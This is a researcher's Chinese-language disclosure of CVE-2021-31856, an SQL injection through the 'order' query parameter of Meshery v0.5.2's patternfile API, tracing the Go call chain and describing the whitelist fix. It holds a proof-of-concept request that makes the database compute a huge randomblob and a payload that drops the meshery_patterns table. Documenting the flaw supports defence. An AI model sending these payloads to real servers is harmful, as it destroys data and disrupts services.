tags: container,漏洞报告

[漏洞报告] CVE-2021-31856: Meshery sql注入

最近,我在学习codeql时,偶然间发现了Meshery中的一个sql注入漏洞。问题本身比较简单,但codeql在其中的作用,可以作为其效果的示例,我会在后续的文章中尝试介绍一下如何使用codeql发现类似漏洞。

报告给meshery4天后,他们完成了修复,并帮我申请了CVE编号(CVE-2021-31856)。

https://docs.meshery.io/project/security-vulnerabilities#list-of-announced-vulnerabilities


item 描述
项目地址 https://github.com/layer5io/meshery
公布日期 2021-04-28
CVE-ID CVE-2021-31856
影响版本 v0.5.2
修复版本 v0.5.3
https://github.com/layer5io/meshery/pull/2745
CVSS 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
作者 https://github.com/ssst0n3

1. 描述

Meshery是CNCF成员之一(https://landscape.cncf.io/?category=cncf-members&fullscreen=yes&grouping=category&selected=meshery)。作为服务网格管理平面,Meshery 支持任何服务网格及其工作负载的采用、操作和管理。

GetMesheryPatterns() 函数(位于meshery/models/meshery_pattern_persister.go)存在一个SQL注入漏洞,注入点是/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0中的order参数。

2. PoC

http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

watch the video

3. 代码分析

GetMesheryPatterns函数中的order参数是string类型的,在使用gorm框架时,order参数会被直接添加到查询语句中, 查询语句会被Find函数执行。

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

如果order参数来自于用户输入但是没有过滤,则存在sql注入漏洞。跟踪调用流程,发现order参数确实直接来自url的query部分。 https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

如果我们调试代码,可以发现sql语句被拼接为

SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

令order=id;drop table meshery_patterns,sql语句变成了:

SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

然后meshery_patterns表会被删除。


完整的调用链如下:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
    Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. 修复

为order参数设置白名单,而不是直接使用来自用户的输入。

https://github.com/layer5io/meshery/pull/2745

gorm有一些参考: https://gorm.io/docs/security.html